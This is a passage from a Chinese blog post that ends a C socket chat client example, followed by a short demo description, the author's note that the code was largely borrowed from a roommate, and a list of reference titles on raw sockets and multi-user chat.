		return 2;
	}
	inet_ntop(p->ai_family, get_in_addr((struct sockaddr*)p->ai_addr), s, sizeof s);
	printf("client:connecting to %s\n",s);
	freeaddrinfo(servinfo);

    int err = pthread_create(&t1, NULL, recvMag, NULL);
	if(err != 0)
	{
    
    
		printf("receive failed");
		exit(1);
	}
    
	while(1)
	{
    
    
        scanf("%s", mag);
        if(send(sockfd, mag, sizeof mag, 0) == -1)
        {
    
    
            printf("send failed!\n");
        }
	}
	//close(sockfd);
	return 0;
}

演示效果:
首先是启动服务器端
在这里插入图片描述
然后分别启动两个客户端
在这里插入图片描述
在这里插入图片描述

三、总结

这部分代码难懂,不理解,大量借鉴室友的代码

三、参考资料

通过 Teardrop 攻击程序学习自制 IP 包及了解包的结构
原始套接字编程——Teardrop
Ubuntu 与树莓派之间的两个 socket 应用实例:C/S 和多人聊天

猜你喜欢

转载自blog.csdn.net/weixin_45888898/article/details/110333236